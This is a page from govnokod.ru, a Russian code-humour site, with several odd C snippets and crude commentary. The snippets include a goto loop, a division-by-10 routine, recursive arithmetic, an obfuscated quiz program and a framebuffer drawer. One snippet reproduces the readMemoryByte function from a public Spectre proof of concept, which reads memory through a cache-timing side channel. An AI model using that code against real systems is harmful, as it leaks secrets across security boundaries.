- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
#include <stdio.h>
int main(void) {
int i = 0;
loop:
i > 10 || printf("%d\n", i++) && goto loop;
printf("end\n");
return 0;
}
Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
0
#include <stdio.h>
int main(void) {
int i = 0;
loop:
i > 10 || printf("%d\n", i++) && goto loop;
printf("end\n");
return 0;
}
Зачем удолили #24105?
+1
#include <stdio.h>
#include <string.h>
#include <sodium.h>
#include <stdlib.h>
#include <unistd.h>
void reverse(char s[]);
void itoa(int n, char s[]);
int main()
{
if(sodium_init() < 0) {
printf("Паника! Библиотека не может быть инициализирована, небезопасно использовать.\n");
return 1;
}
#define STR_LEN 30
char str[STR_LEN];
for(unsigned long i = 0; i < STR_LEN; ++i) {
if(randombytes_uniform(2) == 0)
str[i] = 48;
else
str[i] = 49;
}
printf("%s\n", str);
while(1) {
for (unsigned long i = 0; i < strlen(str); i+=2)
{
if(str[i] == '0' && str[i+1] == '0' && str[i+2] == '0')
str[i+1] = '1';
else if(str[i] == '1' && str[i+1] == '0' && str[i+2] == '0')
str[i] = '0', str[i+2] = '1';
else if(str[i] == '1' && str[i+1] == '0' && str[i+2] == '0')
str[i+2] = '1', str[i] = '0';
else if(str[i] == '1' && str[i+1] == '1' && str[i+2] == '1')
str[i+1] = '0', str[i] = '0';
else if(str[i] == '0' && str[i+1] == '1' && str[i+2] == '1')
str[i] = '1';
else if(str[i] == '1' && str[i+1] == '0' && str[i+2] == '1')
str[i] = '0', str[i+1] = '1';
else if(str[i] == '0' && str[i+1] == '0' && str[i+2] == '1')
str[i] = '1', str[i+1] = '1', str[i+2] = '0';
else if(str[i] == '0' && str[i+1] == '1' && str[i+2] == '0')
str[i+2] = '1';
else if(str[i] == '1' && str[i+1] == '1' && str[i+2] == '1')
str[i] = '0', str[i+2] = '0';
else if(str[i] == '1' && str[i+1] == '1' && str[i+2] == '0')
str[i+1] = '0';
}
printf("%s\n", str);
sleep(1);
}
return 0;
}
10 простых правил и бесконечный вывод триллиардов иттерация которые никогда не кнчатся! ЭТО НОНСЕНС
+2
// https://github.com/Samsung/ADBI/blob/3e424c45386b0a36c57211da819021cb1929775a/idk/include/division.h#L138
/* Long division by 10. */
static unsigned long long int div10l(unsigned long long int v) {
/* It's a kind of magic. We achieve 64-bit (long) division by dividing the two 32-bit halfs of the number 64-bit
* number. The first (most significant) half can produce a rest when dividing, which has to be carried over to the
* second half. The rest_add table contains values added to the second half after dividing depending on the rest
* from the first division. This allows evaluation of a result which is almost correct -- it can be either the
* expected result, or the expected result plus one. The error can be easily detected and corrected.
*/
/* one dream */
static unsigned long long int rest_add[] = {
0x00000000, 0x1999999a, 0x33333334, 0x4ccccccd, 0x66666667,
0x80000001, 0x9999999a, 0xb3333334, 0xcccccccd, 0xe6666667
};
/* one soul */
unsigned long long int a = div10((unsigned int)(v >> 32));
unsigned long long int b = div10((unsigned int)(v & 0xffffffff));
/* one prize */
int ri = (v >> 32) - a * 10;
/* one goal */
unsigned long long int ret = (a << 32) + b + rest_add[ri];
/* one golden glance */
if (ret * 10L > v) {
//printf("OGG %llu %llu\n", ret * 10, v);
--ret;
}
/* of what should be */
return ret;
}
Деление на 10. Но зачем? Неужели компилятор настолько туп, что сам не может этого сделать?
И да, эти туповатые комментарии one dream, one soul это отсылка к песне Queen - A Kind of Magic https://youtu.be/0p_1QSUsbsM
+2
typedef unsigned int uint;
uint inc(uint i) {
return i+1;
}
uint dec(uint i) {
return i-1;
}
uint add(uint a, uint b) {
return 0==b ? a : add(inc(a),dec(b));
}
inline uint _mul(uint a, uint b, uint r) {
return 0==b ? r : _mul(a,b-1,r+a);
}
uint mul(uint a, uint b) {
return _mul(a,b,0);
}
uint dec_mul(uint a, uint b, uint r) {
return 0==b ? r : dec_mul(a,dec(b),r+a);
}
//gcc 7 здесь сходит с ума на O3, шланг невозмутимо ставит imul edi, esi
uint crazy_mul(uint a, uint b, uint r) {
return 0==b ? r : crazy_mul(a,dec(b),add(r,a));
}
//арифметическая прогрессия.
inline uint _sum(uint a,uint s) {
return a==0 ? s :_sum(a-1,s+a);
}
//gcc: сложна нипанятна
uint sum(uint a) {
return _sum(a,0);
}
//шланг:
// imul rcx, rax
// shr rcx
uint sum1(uint a) {
uint s=0;
for (int i=0;i<a;++i){
s+=i;
}
return s;
}
Смотрим как компиляторы решают разные упоротые рекурентные задачки.
https://godbolt.org/g/4JZuPr
0
#include <stdio.h>
int main() {
double x = 0.11111;
printf("%lld\n", x);
double y = 0.11111;
printf("%lld\n", y);
}
https://ideone.com/FHKfA6
УБЭ?
0
char bytes[] = {1, 2, 3, 4, 5, 6, 7, 8, 9};
function1(bytes);
(void)(bytes[0] = 10), (void)(bytes[1] = 11), (void)(bytes[2] = 12); //WTF?
function2(bytes);
Вот такую байду требует написать XCode при присвоении элементов массива через запятую, иначе warning.
Гейкорп и их главпидор Кук совсем охренели, мало того что последие хуйкоды крашатся и виснут по фазам луны, мало того что встроенный гуй систем контроля версий работает как говно, так оно еще и ворининги выдает на ровном месте - качество apple - blyad.
0
#include <stdio.h>
#include <string.h>
#include <math.h>
char *questions[] = {
"Answer these questions please.",
"I am HACTEHbKA. Do you know about me?",
"Do you like my love stories?",
"By the way, what is your name?",
"Do you like C++?",
"Do you like bormand?",
"bormand is cool, isn't he?",
"Do you know what does it mean?",
0,
};
int main () {
char answer[10], **question = questions, z[30] = {0}, Z = questions[0x04][0x10];
while (*++question) {
float x = 1, y = 7;
char* a = answer;
puts(*question);
gets(answer);
while (*a) {
x *= 10;
x += *a / 90;
a ++;
}
y = (9/x - 120)/x/x/x;
if (y > 170/x - 1263 - 437/x/x) {
int U = **questions;
for (U = 1/(x+1); U < ' '; U += 0x10) {
float bormand = 9*y-6*x*sqrt(y)-6*sqrt(y)+1.0*x*x*x*x-5.2*x*x*x+11.14*x*x-6.788*x+6;
z[Z|U] = questions[5-U/5+1/(int)bormand][(int)(Z + questions[0x06][0x10] / 2.6)];
if ((Z|U|7) * (int)question[1] < 30) puts(z + U);
}
Z++;
}
}
return answer == questions[1];
}
https://ideone.com/zDcuG2
0
/*
* Returns 1 if filename has .zip extension.
*/
static int
str_zipext(char *name)
{
int i;
i = strlen(name) - 1;
if (i < 0 || name[i] != 'p' && name[i] != 'P') return 0;
i--;
if (i < 0 || name[i] != 'i' && name[i] != 'I') return 0;
i--;
if (i < 0 || name[i] != 'z' && name[i] != 'Z') return 0;
i--;
if (i < 0 || name[i] != '.') return 0;
i--;
if (i < 0) return 0;
return 1;
}
https://github.com/fabiensanglard/xrick/blob/239d213f01be8d0086c449080ce61bde8dcad7b4/src/data.c#L189
0
void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2]) {
static int results[256];
int tries, i, j, k, mix_i, junk = 0;
size_t training_x, x;
register uint64_t time1, time2;
volatile uint8_t * addr;
for (i = 0; i < 256; i++)
results[i] = 0;
for (tries = 999; tries > 0; tries--) {
/* Flush array2[256*(0..255)] from cache */
for (i = 0; i < 256; i++)
_mm_clflush( & array2[i * 512]); /* intrinsic for clflush instruction */
/* 30 loops: 5 training runs (x=training_x) per attack run (x=malicious_x) */
training_x = tries % array1_size;
for (j = 29; j >= 0; j--) {
_mm_clflush( & array1_size);
for (volatile int z = 0; z < 100; z++) {} /* Delay (can also mfence) */
/* Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 */
/* Avoid jumps in case those tip off the branch predictor */
x = ((j % 6) - 1) & ~0xFFFF; /* Set x=FFF.FF0000 if j%6==0, else x=0 */
x = (x | (x >> 16)); /* Set x=-1 if j&6=0, else x=0 */
x = training_x ^ (x & (malicious_x ^ training_x));
/* Call the victim! */
victim_function(x);
}
/* Time reads. Order is lightly mixed up to prevent stride prediction */
for (i = 0; i < 256; i++) {
mix_i = ((i * 167) + 13) & 255;
addr = & array2[mix_i * 512];
time1 = __rdtscp( & junk); /* READ TIMER */
junk = * addr; /* MEMORY ACCESS TO TIME */
time2 = __rdtscp( & junk) - time1; /* READ TIMER & COMPUTE ELAPSED TIME */
if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size])
results[mix_i]++; /* cache hit - add +1 to score for this value */
}
/* Locate highest & second-highest results results tallies in j/k */
j = k = -1;
for (i = 0; i < 256; i++) {
if (j < 0 || results[i] >= results[j]) {
k = j;
j = i;
} else if (k < 0 || results[i] >= results[k]) {
k = i;
}
}
if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0))
break; /* Clear success if best is > 2*runner-up + 5 or 2/0) */
}
results[0] ^= junk; /* use junk so code above won’t get optimized out*/
value[0] = (uint8_t) j;
score[0] = results[j];
value[1] = (uint8_t) k;
score[1] = results[k];
}
Красиво. Душевно.
https://github.com/Eugnis/spectre-attack
0
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <linux/fb.h>
#include <stropts.h>
#include <sys/mman.h>
#include <unistd.h>
typedef unsigned char uint8_t;
typedef unsigned short uint16_t;
typedef unsigned int uint32_t;
typedef unsigned long int uint64_t;
inline uint32_t pixel_color(uint8_t r, uint8_t g, uint8_t b, struct fb_var_screeninfo *vinfo)
{
return (r<<vinfo->red.offset) | (g<<vinfo->green.offset) | (b<<vinfo->blue.offset);
}
int main()
{
int fb_fd = open("/dev/fb0", O_RDWR);
if(fb_fd == -1) {
perror("open");
return 1;
}
struct fb_fix_screeninfo finfo;
struct fb_var_screeninfo vinfo;
//Get variable screen information
if(ioctl(fb_fd, FBIOGET_VSCREENINFO, &vinfo) == -1) {
perror("ioctl");
return 1;
}
//Get fixed screen information
if(ioctl(fb_fd, FBIOGET_FSCREENINFO, &finfo) == -1) {
perror("ioctl");
return 1;
}
vinfo.grayscale=0;
vinfo.bits_per_pixel=32;
if(ioctl(fb_fd, FBIOPUT_VSCREENINFO, &vinfo) == -1) {
perror("ioctl");
return 1;
}
if(ioctl(fb_fd, FBIOGET_VSCREENINFO, &vinfo) == -1) {
perror("ioctl");
return 1;
}
if(vinfo.grayscale != 0) {
printf("Error set grayscale!\n");
return 1;
}
if(vinfo.bits_per_pixel != 32) {
printf("Error set bits_per_pixel!\n");
return 1;
}
long screensize = vinfo.yres_virtual * finfo.line_length;
uint8_t *fbp = mmap(0, screensize, PROT_READ | PROT_WRITE, MAP_SHARED, fb_fd, (off_t)0);
if(fbp == MAP_FAILED) {
perror("mmap");
return 1;
}
uint32_t pixel = pixel_color(46, 255, 46, &vinfo);
//Убедитесь, что вы правильно установили x, y и пиксель
long line = 0;
while(1)
{
if(line > vinfo.xres) break;
long location;
for (long x = 0; x < line; x++)
for (long y=0; y<vinfo.yres; y++)
{
location = (x+vinfo.xoffset) * (vinfo.bits_per_pixel/8) + (y+vinfo.yoffset) * finfo.line_length;
*((uint32_t*)(fbp + location)) = pixel;
}
line++;
usleep(100000);
}
return 0;
}
угадайте до запуска по какой оси прога будет рисовать и понос пролетит мимо вас!